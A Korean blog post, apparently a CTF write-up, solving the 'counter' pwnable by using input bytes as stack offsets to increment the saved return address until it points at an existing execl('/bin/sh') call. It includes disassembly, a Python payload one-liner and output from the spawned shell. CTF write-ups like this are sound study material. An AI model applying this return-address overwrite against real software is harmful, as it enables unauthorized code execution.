c0unter 프로그램 안에는 이미 execl로 쉘을 실행 시키는 코드가 들어 있다.
.text:00000000004006E0 mov edi, offset aBinSh ; "/bin/sh"
.text:00000000004006E5 sub rsp, 8
.text:00000000004006E9 xor edx, edx
.text:00000000004006EB mov esi, 4008D9h
.text:00000000004006F0 xor eax, eax
.text:00000000004006F2 call _execl
=> execl("/bin/sh","sh",NULL);
rip value를 00000000004006E0로 하면 문제를 풀 수 있다.
아래 루틴에 rdx에는 입력한 문자가 하나 씩 들어가게 된다.
현재 rsp에서 rip value를 담고 있는 스택 까지 152 만큼 떨어져 있으니깐, 입력을 \x98(152)를 하게 되면 rip value가 1 증가 하게 된다.
0x40079e: xchg ax,ax
0x4007a0: movzx edx,BYTE PTR [rax]
0x4007a3: add rax,0x1
=> 0x4007a7: add BYTE PTR [rsp+rdx*1],0x1
0x4007ab: cmp rax,rcx
rip value 값이 0x00000000004005d9 이니깐, exec 00000000004006E0로 만들기 위해,
152(\x98)거리에 0xe0-0xd9 만큼, 153거리에는 0x06-0x05로 해주면 rip가 exec 코드로 변경되고,
실행되어 권한 탈취가 가능하다.
(python -c 'print "\x98"*(0xe0-0xd9)+"\x99"') > data
cat data;
ksg@ubuntu:~/pwn/tum$ (cat data;cat) | ./counter
ls
counter data peda-session-counter.txt rom-with-censored-flag.gb?raw=true
id
uid=1000(ksg) gid=1000(ksg) groups=1000(ksg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)
'Pwnable' 카테고리의 다른 글
canary leak python code (0) | 2015.11.17 |
---|---|
TUM CTF Teaser 2015: greeter writeup (0) | 2015.11.03 |
strtap address overflow (0) | 2015.10.18 |
stdin@@GLIBC_2.0 (2) | 2015.10.06 |
pwnable.kr uaf (0) | 2015.09.29 |